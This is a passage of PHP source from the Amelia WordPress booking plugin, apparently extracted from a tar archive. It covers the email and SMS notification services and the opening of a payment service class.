($providerNotification->getStatus()->getValue() === NotificationStatus::ENABLED) { $this->sendNotification( $data, $providerNotification, $logNotification ); } } } /** * Get User info for notification * * @param string $userType * @param array $entityData * @param int $bookingKey * @param array $emailData * * @return array * @throws QueryExecutionException */ protected function getUsersInfo($userType, $entityData, $bookingKey, $emailData) { /** @var ProviderRepository $providerRepository */ $providerRepository = $this->container->get('domain.users.providers.repository'); $usersInfo = []; switch ($userType) { case (Entities::CUSTOMER): switch ($entityData['type']) { case (Entities::APPOINTMENT): case (Entities::EVENT): if ($bookingKey !== null) { $usersInfo[$entityData['bookings'][$bookingKey]['customerId']] = [ 'id' => $entityData['bookings'][$bookingKey]['customerId'], 'email' => $emailData['customer_email'], 'phone' => $emailData['customer_phone'] ]; } break; case (Entities::PACKAGE): $usersInfo[$entityData['customer']['id']] = [ 'id' => $entityData['customer']['id'], 'email' => $entityData['customer']['email'], 'phone' => $entityData['customer']['phone'] ]; break; } break; case (Entities::PROVIDER): switch ($entityData['type']) { case (Entities::APPOINTMENT): $usersInfo[$entityData['providerId']] = [ 'id' => $entityData['providerId'], 'email' => $emailData['employee_email'], 'phone' => $emailData['employee_phone'] ]; break; case (Entities::EVENT): foreach ((array)$entityData['providers'] as $provider) { $usersInfo[$provider['id']] = [ 'id' => $provider['id'], 'email' => $provider['email'], 'phone' => $provider['phone'] ]; } if ($entityData['organizerId']) { $organizer = $providerRepository->getById($entityData['organizerId'])->toArray(); $usersInfo[$organizer['id']] = [ 'id' => $organizer['id'], 'email' => $organizer['email'], 'phone' => $organizer['phone'] ]; } break; case (Entities::PACKAGE): foreach ($entityData['recurring'] as $reservation) { $usersInfo[$reservation['appointment']['provider']['id']] = [ 'id' => $reservation['appointment']['provider']['id'], 'email' => $reservation['appointment']['provider']['email'], 'phone' => $reservation['appointment']['provider']['phone'] ]; } if (empty($entityData['recurring']) && !empty($entityData['onlyOneEmployee'])) { $usersInfo[$entityData['onlyOneEmployee']['id']] = [ 'id' => $entityData['onlyOneEmployee']['id'], 'email' => $entityData['onlyOneEmployee']['email'], 'phone' => $entityData['onlyOneEmployee']['phone'] ]; } break; } break; } return $usersInfo; } } Services/Notification/AbstractSMSAPIService.php 0000666 00000016027 15165412624 0015507 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Services\Notification; use AmeliaBooking\Application\Services\Placeholder\PlaceholderService; use AmeliaBooking\Domain\Services\Notification\SMSAPIServiceInterface; use AmeliaBooking\Domain\Services\Settings\SettingsService; use AmeliaBooking\Domain\ValueObjects\String\NotificationSendTo; use AmeliaBooking\Infrastructure\Common\Container; use AmeliaBooking\Infrastructure\Common\Exceptions\NotFoundException; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use Interop\Container\Exception\ContainerException; /** * Class AbstractSMSAPIService * * @package AmeliaBooking\Application\Services\Notification */ abstract class AbstractSMSAPIService implements SMSAPIServiceInterface { /** @var string */ const STATUS_STRING_OK = 'OK'; /** @var Container */ protected $container; /** * ProviderApplicationService constructor. * * @param Container $container * * @throws \InvalidArgumentException */ public function __construct(Container $container) { $this->container = $container; } /** * @return Container */ public function getContainer() { return $this->container; } /** * @param $data * * @return mixed */ public function signUp($data) { $route = 'auth/signup'; $response = $this->sendRequest($route, false, $data); if ($response->status === self::STATUS_STRING_OK) { $this->authorizeUser($response->token); } return $response; } /** * @param $data * * @return mixed */ public function signIn($data) { $route = 'auth/signin'; $response = $this->sendRequest($route, false, $data); if ($response->status === self::STATUS_STRING_OK) { $this->authorizeUser($response->token); } return $response; } /** * @return mixed */ public function getUserInfo() { $route = 'auth/info'; return $this->sendRequest($route, true); } /** * @param $data * * @return mixed */ public function forgotPassword($data) { $route = 'auth/password/forgot'; $data['redirectUrl'] = AMELIA_PAGE_URL . 'wpamelia-notifications¬ificationTab=sms'; return $this->sendRequest($route, false, $data); } /** * @param $data * * @return mixed */ public function resetPassword($data) { $route = 'auth/password/reset'; return $this->sendRequest($route, false, $data); } /** * @param $data * * @return mixed */ public function changePassword($data) { $route = '/auth/password/change'; return $this->sendRequest($route, true, $data); } /** * @param $data * * @return mixed */ public function getCountryPriceList($data) { $route = '/sms/prices/' . strtoupper($data['selectedCountry']); return $this->sendRequest($route, true); } /** * @param $data * * @return mixed * * @throws QueryExecutionException * @throws ContainerException * @throws NotFoundException */ public function testNotification($data) { $route = '/sms/send'; /** @var SettingsService $settingsService */ $settingsService = $this->container->get('domain.settings.service'); /** @var EmailNotificationService $notificationService */ $notificationService = $this->container->get('application.emailNotification.service'); /** @var PlaceholderService $placeholderService */ $placeholderService = $this->container->get("application.placeholder.{$data['type']}.service"); $appointmentsSettings = $settingsService->getCategorySettings('appointments'); $notification = $notificationService->getById($data['notificationTemplate']); $dummyData = $placeholderService->getPlaceholdersDummyData('sms'); $isForCustomer = $notification->getSendTo()->getValue() === NotificationSendTo::CUSTOMER; $placeholderStringRec = 'recurring' . 'Placeholders' . ($isForCustomer ? 'Customer' : '') . 'Sms'; $placeholderStringPack = 'package' . 'Placeholders' . ($isForCustomer ? 'Customer' : '') . 'Sms'; $dummyData['recurring_appointments_details'] = $placeholderService->applyPlaceholders($appointmentsSettings[$placeholderStringRec], $dummyData); $dummyData['package_appointments_details'] = $placeholderService->applyPlaceholders($appointmentsSettings[$placeholderStringPack], $dummyData); $body = $placeholderService->applyPlaceholders( $notification->getContent()->getValue(), $dummyData ); $data = [ 'to' => $data['recipientPhone'], 'from' => $settingsService->getSetting('notifications', 'smsAlphaSenderId'), 'body' => $body ]; return $this->sendRequest($route, true, $data); } /** * @param $to * @param $body * @param $callbackUrl * * @return mixed */ public function send($to, $body, $callbackUrl) { $route = '/sms/send'; /** @var SettingsService $settingsService */ $settingsService = $this->container->get('domain.settings.service'); $data = [ 'to' => $to, 'from' => $settingsService->getSetting('notifications', 'smsAlphaSenderId'), 'body' => $body, 'callbackUrl' => $callbackUrl ]; return $this->sendRequest($route, true, $data); } /** * @param $data * * @return mixed */ public function refreshSMSHistory($data) { $route = "/sms/refresh/{$data['logId']}"; return $this->sendRequest($route, true); } /** * @param $data * * @return mixed */ public function paymentCheckout($data) { $route = '/payment/checkout'; $data['redirectUrl'] = AMELIA_PAGE_URL . 'wpamelia-notifications¬ificationTab=sms'; return $this->sendRequest($route, true, $data); } /** * @param $data * * @return mixed */ public function paymentComplete($data) { $route = '/payment/complete'; return $this->sendRequest($route, true, $data); } /** * @param $data * * @return mixed */ public function getPaymentHistory($data) { $route = '/payment/history'; return $this->sendRequest($route, true, $data); } /** * @param $token */ private function authorizeUser($token) { /** @var SettingsService $settingsService */ $settingsService = $this->container->get('domain.settings.service'); $settingsService->setSetting('notifications', 'smsSignedIn', true); $settingsService->setSetting('notifications', 'smsApiToken', $token); } } Services/Notification/NotificationHelperService.php 0000666 00000006142 15165412624 0016612 0 ustar 00 <?php namespace AmeliaBooking\Application\Services\Notification; use AmeliaBooking\Domain\ValueObjects\String\Token; use AmeliaBooking\Infrastructure\Common\Container; use DOMDocument; use DOMElement; class NotificationHelperService { /** @var Container */ protected $container; /** * NotificationHelperService constructor. * * @param Container $container */ public function __construct(Container $container) { $this->container = $container; } public function parseAndReplace($content) { $parsedContent = null; $newContent = $content; try { $parsedContent = class_exists('DOMDocument') ? $this->parseContent($content) : $content; } catch (\Exception $e) { $newContent = $content; } $newContent = str_replace( [ 'class="ql-align-center"', 'class="ql-align-right"', 'class="ql-align-left"', 'class="ql-align-justify"' ], [ 'style="text-align: center;"', 'style="text-align: right;"', 'style="text-align: left;"', 'class="text-align: justify"' ], $parsedContent ?: $newContent ); return array($parsedContent, $newContent); } /** * @param $content * @return string */ private function parseContent($content) { $html = new DOMDocument(); $html->loadHTML($content); $html->preserveWhiteSpace = false; $hasParsedContent = false; /** @var DOMElement $image */ foreach ($html->getElementsByTagName('img') as $image) { $src = $image->getAttribute('src'); if (strpos($src, 'data:image/') === 0) { $parts = explode(',', substr($src, 5), 2); $mimeSplitWithoutBase64 = explode(';', $parts[0], 2); $mimeSplit = explode('/', $mimeSplitWithoutBase64[0], 2); $outputFile = ''; if (!in_array($mimeSplit[1], ['jpeg', 'jpg', 'png', 'gif'])) { continue; } if (count($mimeSplit) === 2) { $token = new Token(); $outputFile = $token->getValue() . '.' . (($mimeSplit[1] === 'jpeg') ? 'jpg' : $mimeSplit[1]); } $outputPath = AMELIA_UPLOADS_PATH . '/amelia/mail/'; !is_dir($outputPath) && !mkdir($outputPath, 0755, true) && !is_dir($outputPath); file_put_contents($outputPath . $outputFile, base64_decode($parts[1])); $content = preg_replace( '/<img(.*?)src="data:image(.*?)"(.*?)>/', '<IMG src="' . AMELIA_UPLOADS_URL . '/amelia/mail/' . $outputFile . '">', $content, 1 ); $hasParsedContent = true; } } if ($hasParsedContent) { return str_replace('<IMG src="', '<img src="', $content); } return null; } } Services/Notification/EmailNotificationService.php 0000666 00000065771 15165412624 0016437 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Services\Notification; use AmeliaBooking\Application\Services\Helper\HelperService; use AmeliaBooking\Application\Services\Placeholder\PlaceholderService; use AmeliaBooking\Application\Services\Settings\SettingsService; use AmeliaBooking\Domain\Collection\Collection; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Entity\Notification\Notification; use AmeliaBooking\Domain\Entity\Notification\NotificationLog; use AmeliaBooking\Domain\Entity\User\AbstractUser; use AmeliaBooking\Domain\Entity\User\Customer; use AmeliaBooking\Domain\Entity\User\Provider; use AmeliaBooking\Domain\Services\DateTime\DateTimeService; use AmeliaBooking\Domain\ValueObjects\String\BookingStatus; use AmeliaBooking\Domain\ValueObjects\String\NotificationStatus; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Notification\NotificationLogRepository; use AmeliaBooking\Infrastructure\Repository\User\UserRepository; use AmeliaBooking\Infrastructure\Services\Notification\MailgunService; use AmeliaBooking\Infrastructure\Services\Notification\PHPMailService; use AmeliaBooking\Infrastructure\Services\Notification\SMTPService; use Exception; use InvalidArgumentException; use Slim\Exception\ContainerException; use Slim\Exception\ContainerValueNotFoundException; /** * Class EmailNotificationService * * @package AmeliaBooking\Application\Services\Notification */ class EmailNotificationService extends AbstractNotificationService { /** @noinspection MoreThanThreeArgumentsInspection */ /** * @param array $appointmentArray * @param Notification $notification * @param bool $logNotification * @param int|null $bookingKey * * @throws \AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException * @throws ContainerValueNotFoundException * @throws QueryExecutionException * @throws \Interop\Container\Exception\ContainerException * @throws Exception */ public function sendNotification( $appointmentArray, $notification, $logNotification, $bookingKey = null, $allBookings = null ) { /** @var NotificationLogRepository $notificationLogRepo */ $notificationLogRepo = $this->container->get('domain.notificationLog.repository'); /** @var UserRepository $userRepository */ $userRepository = $this->container->get('domain.users.repository'); /** @var PHPMailService|SMTPService|MailgunService $mailService */ $mailService = $this->container->get('infrastructure.mail.service'); /** @var PlaceholderService $placeholderService */ $placeholderService = $this->container->get("application.placeholder.{$appointmentArray['type']}.service"); /** @var SettingsService $settingsAS */ $settingsAS = $this->container->get('application.settings.service'); /** @var \AmeliaBooking\Domain\Services\Settings\SettingsService $settingsService */ $settingsService = $this->container->get('domain.settings.service'); /** @var HelperService $helperService */ $helperService = $this->container->get('application.helper.service'); $notificationSettings = $settingsService->getCategorySettings('notifications'); if (!$notificationSettings['senderEmail'] || !$notificationSettings['senderName']) { return; } $isCustomerPackage = isset($appointmentArray['isForCustomer']) && $appointmentArray['isForCustomer']; $isBackend = isset($appointmentArray['isBackend']) && $appointmentArray['isBackend']; /** @var $customer */ $customer = ($appointmentArray['type'] !== Entities::PACKAGE && $bookingKey !== null) ? $userRepository->getById($appointmentArray['bookings'][$bookingKey]['customerId']) : null; if ($appointmentArray['type'] === Entities::PACKAGE) { $info = $isCustomerPackage ? json_encode($appointmentArray['customer']) : null; $userLanguage = null; } else { $info = $bookingKey !== null ? $appointmentArray['bookings'][$bookingKey]['info'] : null; $userLanguage = $customer ? $customer->getTranslations() : null; } if ($userLanguage) { $customerDefaultLanguage = $customer && $customer->getTranslations() ? json_decode($customer->getTranslations()->getValue(), true)['defaultLanguage'] : null; } else { $customerDefaultLanguage = ($isCustomerPackage && isset($appointmentArray['customer']['translations'])) ? json_decode($appointmentArray['customer']['translations'], true)['defaultLanguage'] : null; } $notificationSubject = $helperService->getBookingTranslation( $customerDefaultLanguage ?: $helperService->getLocaleFromBooking($info), $notification->getTranslations() ? $notification->getTranslations()->getValue() : null, 'subject' ) ?: $notification->getSubject()->getValue(); $notificationContent = $helperService->getBookingTranslation( $customerDefaultLanguage ?: $helperService->getLocaleFromBooking($info), $notification->getTranslations() ? $notification->getTranslations()->getValue() : null, 'content' ) ?: $notification->getContent()->getValue(); $data = $placeholderService->getPlaceholdersData( $appointmentArray, $bookingKey, 'email', null, $allBookings ); $sendIcs = $settingsService->getSetting('ics', 'sendIcsAttachment'); $sendIcsPending = $settingsService->getSetting('ics', 'sendIcsAttachmentPending'); $bookingStatus = $bookingKey ? $appointmentArray['bookings'][$bookingKey]['status'] : $appointmentArray['status']; if (!empty($data['icsFiles'])) { $icsFiles = ($sendIcs && $bookingStatus === BookingStatus::APPROVED || $sendIcsPending && $bookingStatus === BookingStatus::PENDING) ? $data['icsFiles'][($isCustomerPackage || $bookingKey !== null) && !$isBackend ? 'translated' : 'original'] : []; } $subject = $placeholderService->applyPlaceholders($notificationSubject, $data); $body = $placeholderService->applyPlaceholders($notificationContent, $data); $users = $this->getUsersInfo( $notification->getSendTo()->getValue(), $appointmentArray, $bookingKey, $data ); foreach ($users as $user) { try { if ($user['email']) { if (!empty($appointmentArray['isRetry'])) { /** @var Collection $sentNotifications */ $sentNotifications = $notificationLogRepo->getSentNotificationsByUserAndEntity( $user['id'], 'email', $appointmentArray['type'], $appointmentArray['type'] === Entities::PACKAGE ? $appointmentArray['packageCustomerId'] : $appointmentArray['id'] ); if ($sentNotifications->length()) { continue; } } $reParsedData = !$isCustomerPackage ? $placeholderService->reParseContentForProvider( $appointmentArray, $subject, $body, $user['id'] ) : [ 'body' => $body, 'subject' => $subject, ]; $logNotificationId = null; // allow user to manipulate emails via filter $emailData = apply_filters( 'amelia_manipulate_email_data', [ 'email' => $user['email'], 'subject' => $reParsedData['subject'], 'body' => $this->getParsedBody($reParsedData['body']), 'bcc' => $settingsAS->getBccEmails(), 'attachments' => !empty($icsFiles) ? $icsFiles : [], ] ); if ($logNotification) { $logNotificationId = $notificationLogRepo->add( $notification, $user['id'], $appointmentArray['type'] === Entities::APPOINTMENT ? $appointmentArray['id'] : null, $appointmentArray['type'] === Entities::EVENT ? $appointmentArray['id'] : null, $appointmentArray['type'] === Entities::PACKAGE ? $appointmentArray['packageCustomerId'] : null, json_encode( [ 'subject' => $emailData['subject'], 'body' => $emailData['body'], 'icsFiles' => $emailData['attachments'], ] ) ); } if (empty($emailData['skipSending'])) { $mailService->send( $emailData['email'], $emailData['subject'], $emailData['body'], $emailData['bcc'], $emailData['attachments'] ); } if ($logNotificationId) { $notificationLogRepo->updateFieldById((int)$logNotificationId, 1, 'sent'); } } } catch (Exception $e) { } } } /** * @throws ContainerValueNotFoundException * @throws QueryExecutionException * @throws \AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException * @throws \Interop\Container\Exception\ContainerException */ public function sendUndeliveredNotifications() { /** @var UserRepository $userRepository */ $userRepository = $this->container->get('domain.users.repository'); /** @var NotificationLogRepository $notificationLogRepo */ $notificationLogRepo = $this->container->get('domain.notificationLog.repository'); /** @var Collection $undeliveredNotifications */ $undeliveredNotifications = $notificationLogRepo->getUndeliveredNotifications('email'); /** @var PHPMailService|SMTPService|MailgunService $mailService */ $mailService = $this->container->get('infrastructure.mail.service'); /** @var SettingsService $settingsAS */ $settingsAS = $this->container->get('application.settings.service'); /** @var NotificationLog $undeliveredNotification */ foreach ($undeliveredNotifications->getItems() as $undeliveredNotification) { try { /** @var AbstractUser $user */ $user = $userRepository->getById($undeliveredNotification->getUserId()->getValue()); $data = json_decode($undeliveredNotification->getData()->getValue(), true); $mailService->send( $user->getEmail()->getValue(), $data['subject'], $data['body'], $settingsAS->getBccEmails(), $data['icsFiles'] ); $notificationLogRepo->updateFieldById($undeliveredNotification->getId()->getValue(), 1, 'sent'); } catch (\Exception $e) { } } } /** * @throws ContainerValueNotFoundException * @throws QueryExecutionException * @throws \AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException * @throws \Interop\Container\Exception\ContainerException * @throws Exception */ public function sendBirthdayGreetingNotifications() { /** @var Collection $notifications */ $notifications = $this->getByNameAndType('customer_birthday_greeting', $this->type); foreach ($notifications->getItems() as $notification) { // Check if notification is enabled and it is time to send notification if ($notification->getStatus()->getValue() === NotificationStatus::ENABLED && $notification->getTime() && DateTimeService::getNowDateTimeObject() >= DateTimeService::getCustomDateTimeObject($notification->getTime()->getValue()) ) { /** @var NotificationLogRepository $notificationLogRepo */ $notificationLogRepo = $this->container->get('domain.notificationLog.repository'); /** @var PHPMailService|SMTPService|MailgunService $mailService */ $mailService = $this->container->get('infrastructure.mail.service'); /** @var PlaceholderService $placeholderService */ $placeholderService = $this->container->get('application.placeholder.appointment.service'); /** @var SettingsService $settingsAS */ $settingsAS = $this->container->get('application.settings.service'); /** @var \AmeliaBooking\Domain\Services\Settings\SettingsService $settingsService */ $settingsService = $this->container->get('domain.settings.service'); $notificationSettings = $settingsService->getCategorySettings('notifications'); if (!$notificationSettings['senderEmail'] || !$notificationSettings['senderName']) { return; } $customers = $notificationLogRepo->getBirthdayCustomers($this->type); $companyData = $placeholderService->getCompanyData(); $customersArray = $customers->toArray(); foreach ($customersArray as $bookingKey => $customerArray) { if ($customerArray['email']) { $data = [ 'customer_email' => $customerArray['email'], 'customer_first_name' => $customerArray['firstName'], 'customer_last_name' => $customerArray['lastName'], 'customer_full_name' => $customerArray['firstName'] . ' ' . $customerArray['lastName'], 'customer_phone' => $customerArray['phone'] ]; /** @noinspection AdditionOperationOnArraysInspection */ $data += $companyData; $subject = $placeholderService->applyPlaceholders( $notification->getSubject()->getValue(), $data ); $body = $placeholderService->applyPlaceholders( $notification->getContent()->getValue(), $data ); try { $mailService->send( $data['customer_email'], $subject, $this->getParsedBody($body), $settingsAS->getBccEmails() ); $notificationLogRepo->add( $notification, $customerArray['id'] ); } catch (Exception $e) { } } } } } } /** * @param Customer $customer * @param string $locale * * @return void * * @throws ContainerValueNotFoundException * @throws ContainerException * @throws InvalidArgumentException * @throws QueryExecutionException * @throws Exception */ public function sendRecoveryEmail($customer, $locale, $cabinetType) { /** @var Collection $notifications */ $notifications = $cabinetType === 'customer' ? $this->getByNameAndType('customer_account_recovery', 'email') : $this->getByNameAndType('provider_panel_recovery', 'email'); /** @var PHPMailService|SMTPService|MailgunService $mailService */ $mailService = $this->container->get('infrastructure.mail.service'); /** @var PlaceholderService $placeholderService */ $placeholderService = $this->container->get('application.placeholder.appointment.service'); /** @var HelperService $helperService */ $helperService = $this->container->get('application.helper.service'); /** @var \AmeliaBooking\Domain\Services\Settings\SettingsService $settingsService */ $settingsService = $this->container->get('domain.settings.service'); $notificationSettings = $settingsService->getCategorySettings('notifications'); if (!$notificationSettings['senderEmail'] || !$notificationSettings['senderName']) { return; } foreach ($notifications->getItems() as $notification) { if ($notification->getStatus()->getValue() === NotificationStatus::ENABLED) { $data = [ 'customer_email' => $customer->getEmail()->getValue(), 'customer_first_name' => $customer->getFirstName()->getValue(), 'customer_last_name' => $customer->getLastName()->getValue(), 'customer_full_name' => $customer->getFirstName()->getValue() . ' ' . $customer->getLastName()->getValue(), 'customer_phone' => $customer->getPhone() ? $customer->getPhone()->getValue() : '', 'customer_panel_url' => $cabinetType === 'customer' ? $helperService->getCustomerCabinetUrl( $customer->getEmail()->getValue(), 'email', null, null, $locale, true ) : $helperService->getProviderCabinetUrl( $customer->getEmail()->getValue(), 'email', null, null, true ) ]; /** @noinspection AdditionOperationOnArraysInspection */ $data += $placeholderService->getCompanyData(); if ($cabinetType === 'provider') { $data = array_combine( array_map( function ($key) { return str_replace('customer', 'employee', $key); }, array_keys($data) ), $data ); } $subject = $placeholderService->applyPlaceholders( $notification->getSubject()->getValue(), $data ); $body = $placeholderService->applyPlaceholders( $notification->getContent()->getValue(), $data ); try { $mailService->send($cabinetType === 'customer' ? $data['customer_email'] : $data['employee_email'], $subject, $this->getParsedBody($body), []); } catch (Exception $e) { } } } } /** * @param Provider $provider * * @param $plainPassword * @return void * * @throws QueryExecutionException */ public function sendEmployeePanelAccess($provider, $plainPassword) { /** @var Collection $notifications */ $notifications = $this->getByNameAndType('provider_panel_access', 'email'); /** @var PHPMailService|SMTPService|MailgunService $mailService */ $mailService = $this->container->get('infrastructure.mail.service'); /** @var PlaceholderService $placeholderService */ $placeholderService = $this->container->get('application.placeholder.appointment.service'); /** @var \AmeliaBooking\Domain\Services\Settings\SettingsService $settingsService */ $settingsService = $this->container->get('domain.settings.service'); $notificationSettings = $settingsService->getCategorySettings('notifications'); if (!$notificationSettings['senderEmail'] || !$notificationSettings['senderName']) { return; } foreach ($notifications->getItems() as $notification) { if ($notification->getStatus()->getValue() === NotificationStatus::ENABLED) { $data = [ 'employee_email' => $provider['email'], 'employee_first_name' => $provider['firstName'], 'employee_last_name' => $provider['lastName'], 'employee_full_name' => $provider['firstName'] . ' ' . $provider['lastName'], 'employee_phone' => $provider['phone'], 'employee_password' => $plainPassword, 'employee_panel_url' => trim( $this->container->get('domain.settings.service')->getSetting('roles', 'providerCabinet')['pageUrl'] ) ]; /** @noinspection AdditionOperationOnArraysInspection */ $data += $placeholderService->getCompanyData(); $subject = $placeholderService->applyPlaceholders( $notification->getSubject()->getValue(), $data ); $body = $placeholderService->applyPlaceholders( $notification->getContent()->getValue(), $data ); try { $mailService->send($data['employee_email'], $subject, $this->getParsedBody($body), []); } catch (Exception $e) { } } } } /** * @param string $body * * @return string */ public function getParsedBody($body) { /** @var \AmeliaBooking\Domain\Services\Settings\SettingsService $settingsService */ $settingsService = $this->container->get('domain.settings.service'); $body = str_replace( [ 'class="ql-size-small"', 'class="ql-size-large"', 'class="ql-size-huge"', 'class="ql-font-serif"', 'class="ql-font-monospace"', 'class="ql-direction-rtl"', 'class="ql-align-center"', 'class="ql-align-justify"', 'class="ql-align-right"', 'class="ql-size-small ql-font-monospace"', 'class="ql-size-large ql-font-monospace"', 'class="ql-size-huge ql-font-monospace"', 'class="ql-font-monospace ql-size-small"', 'class="ql-font-monospace ql-size-large"', 'class="ql-font-monospace ql-size-huge"', 'class="ql-size-small ql-font-serif"', 'class="ql-size-large ql-font-serif"', 'class="ql-size-huge ql-font-serif"', 'class="ql-font-serif ql-size-small"', 'class="ql-font-serif ql-size-large"', 'class="ql-font-serif ql-size-huge"', 'class="ql-align-justify ql-direction-rtl"', 'class="ql-align-center ql-direction-rtl"', 'class="ql-align-right ql-direction-rtl"', 'class="ql-direction-rtl ql-align-justify"', 'class="ql-direction-rtl ql-align-center"', 'class="ql-direction-rtl ql-align-right"' ], [ 'style="font-size: 0.75em;"', 'style="font-size: 1.5em;"', 'style="font-size: 2.5em;"', 'style="font-family: Georgia, Times New Roman, serif;"', 'style="font-family: Monaco, Courier New, monospace;"', 'style="direction: rtl; text-align: inherit;"', 'style="text-align: center;"', 'style="text-align: justify;"', 'style="text-align: right;"', 'style="font-size: 0.75em; font-family: Monaco, Courier New, monospace;"', 'style="font-size: 1.5em; font-family: Monaco, Courier New, monospace;"', 'style="font-size: 2.5em; font-family: Monaco, Courier New, monospace;"', 'style="font-family: Monaco, Courier New, monospace; font-size: 0.75em;"', 'style="font-family: Monaco, Courier New, monospace; font-size: 1.5em;"', 'style="font-family: Monaco, Courier New, monospace; font-size: 2.5em;"', 'style="font-size: 0.75em; font-family: Georgia, Times New Roman, serif;"', 'style="font-size: 1.5em; font-family: Georgia, Times New Roman, serif;"', 'style="font-size: 2.5em; font-family: Georgia, Times New Roman, serif;"', 'style="font-family: Georgia, Times New Roman, serif; font-size: 0.75em;"', 'style="font-family: Georgia, Times New Roman, serif; font-size: 1.5em;"', 'style="font-family: Georgia, Times New Roman, serif; font-size: 2.5em;"', 'style="text-align: justify; direction: rtl;"', 'style="text-align: center; direction: rtl;"', 'style="text-align: right; direction: rtl;"', 'style="direction: rtl; text-align: justify;"', 'style="direction: rtl; text-align: center;"', 'style="direction: rtl; text-align: right;"' ], $body ); $body = preg_replace("/\r|\n/", "", $body); // fix for 2 x style attribute on same html tag $splitBodyByTags = explode('<', $body); foreach ($splitBodyByTags as $k => $v) { if (substr_count($v, "style") === 2) { $splitBodyByTags[$k] = str_replace(';" style="', '; ', $v); } } $body = implode('<', $splitBodyByTags); $breakReplacement = $settingsService->getSetting('notifications', 'breakReplacement'); $replaceSource = [ '</p><p>', '<p>', '</p>' ]; $replaceTarget = [ '<br>', '', '' ]; if (strpos($body, '<p>') !== false) { array_unshift($replaceSource, '<br>'); array_unshift($replaceTarget, ''); } return $breakReplacement === '' || $breakReplacement === '<br>' ? str_replace( $replaceSource, $replaceTarget, $body ) : str_replace('<p><br></p>', $breakReplacement, $body); } } Services/Payment/PaymentApplicationService.php 0000666 00000125435 15165412624 0015623 0 ustar 00 <?php namespace AmeliaBooking\Application\Services\Payment; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Services\Bookable\PackageApplicationService; use AmeliaBooking\Application\Services\Placeholder\PlaceholderService; use AmeliaBooking\Domain\Collection\Collection; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Bookable\AbstractBookable; use AmeliaBooking\Domain\Entity\Booking\Appointment\CustomerBooking; use AmeliaBooking\Domain\Entity\Booking\Event\Event; use AmeliaBooking\Domain\Entity\Booking\Reservation; use AmeliaBooking\Domain\Entity\Cache\Cache; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Entity\Payment\Payment; use AmeliaBooking\Domain\Entity\User\AbstractUser; use AmeliaBooking\Domain\Entity\User\Provider; use AmeliaBooking\Domain\Factory\Payment\PaymentFactory; use AmeliaBooking\Domain\Factory\User\UserFactory; use AmeliaBooking\Domain\Services\Payment\PaymentServiceInterface; use AmeliaBooking\Domain\Services\Reservation\ReservationServiceInterface; use AmeliaBooking\Domain\Services\Settings\SettingsService; use AmeliaBooking\Domain\ValueObjects\BooleanValueObject; use AmeliaBooking\Domain\ValueObjects\Number\Float\Price; use AmeliaBooking\Domain\ValueObjects\Number\Integer\Id; use AmeliaBooking\Domain\ValueObjects\String\BookingStatus; use AmeliaBooking\Domain\ValueObjects\String\BookingType; use AmeliaBooking\Domain\ValueObjects\String\Name; use AmeliaBooking\Domain\ValueObjects\String\PaymentStatus; use AmeliaBooking\Domain\ValueObjects\String\PaymentType; use AmeliaBooking\Infrastructure\Common\Container; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\PackageCustomerRepository; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Booking\Event\CustomerBookingEventTicketRepository; use AmeliaBooking\Infrastructure\Repository\Booking\Event\EventRepository; use AmeliaBooking\Infrastructure\Repository\Cache\CacheRepository; use AmeliaBooking\Infrastructure\Repository\Coupon\CouponRepository; use AmeliaBooking\Infrastructure\Repository\Payment\PaymentRepository; use AmeliaBooking\Infrastructure\Services\Payment\CurrencyService; use AmeliaBooking\Infrastructure\Services\Payment\PayPalService; use AmeliaBooking\Infrastructure\Services\Payment\RazorpayService; use AmeliaBooking\Infrastructure\Services\Payment\StripeService; use AmeliaBooking\Infrastructure\WP\HelperService\HelperService; use AmeliaBooking\Infrastructure\WP\Integrations\WooCommerce\WooCommerceService; use AmeliaBooking\Infrastructure\WP\Translations\FrontendStrings; use Exception; use Razorpay\Api\Errors\SignatureVerificationError; use Slim\Exception\ContainerException; use Slim\Exception\ContainerValueNotFoundException; /** * Class PaymentApplicationService * * @package AmeliaBooking\Application\Services\Payment */ class PaymentApplicationService { private $container; /** * PaymentApplicationService constructor. * * @param Container $container */ public function __construct(Container $container) { $this->container = $container; } /** * @param array $params * @param int $itemsPerPage * * @return array * * @throws ContainerValueNotFoundException * @throws QueryExecutionException * @throws InvalidArgumentException */ public function getPaymentsData($params, $itemsPerPage) { /** @var PaymentRepository $paymentRepository */ $paymentRepository = $this->container->get('domain.payment.repository'); /** @var EventRepository $eventRepository */ $eventRepository = $this->container->get('domain.booking.event.repository'); /** @var PackageApplicationService $packageApplicationService */ $packageApplicationService = $this->container->get('application.bookable.package'); $paymentsData = $paymentRepository->getFiltered($params, $itemsPerPage); $eventBookingIds = []; foreach ($paymentsData as &$paymentData) { if (empty($paymentData['serviceId']) && empty($paymentData['packageId'])) { $eventBookingIds[] = $paymentData['customerBookingId']; } $paymentData['secondaryPayments'] = $paymentRepository->getSecondaryPayments($paymentData['packageCustomerId'] ?: $paymentData['customerBookingId'], $paymentData['id'], !empty($paymentData['packageCustomerId'])); } /** @var Collection $events */ $events = !empty($eventBookingIds) ? $eventRepository->getByBookingIds($eventBookingIds) : new Collection(); $paymentDataValues = array_values($paymentsData); $bookingsIds = array_column($paymentDataValues, 'customerBookingId'); /** @var Event $event */ foreach ($events->getItems() as $event) { /** @var CustomerBooking $booking */ foreach ($event->getBookings()->getItems() as $booking) { if (($key = array_search($booking->getId()->getValue(), $bookingsIds)) !== false) { $paymentsData[$paymentDataValues[$key]['id']]['bookingStart'] = $event->getPeriods()->getItem(0)->getPeriodStart()->getValue()->format('Y-m-d H:i:s'); /** @var Provider $provider */ 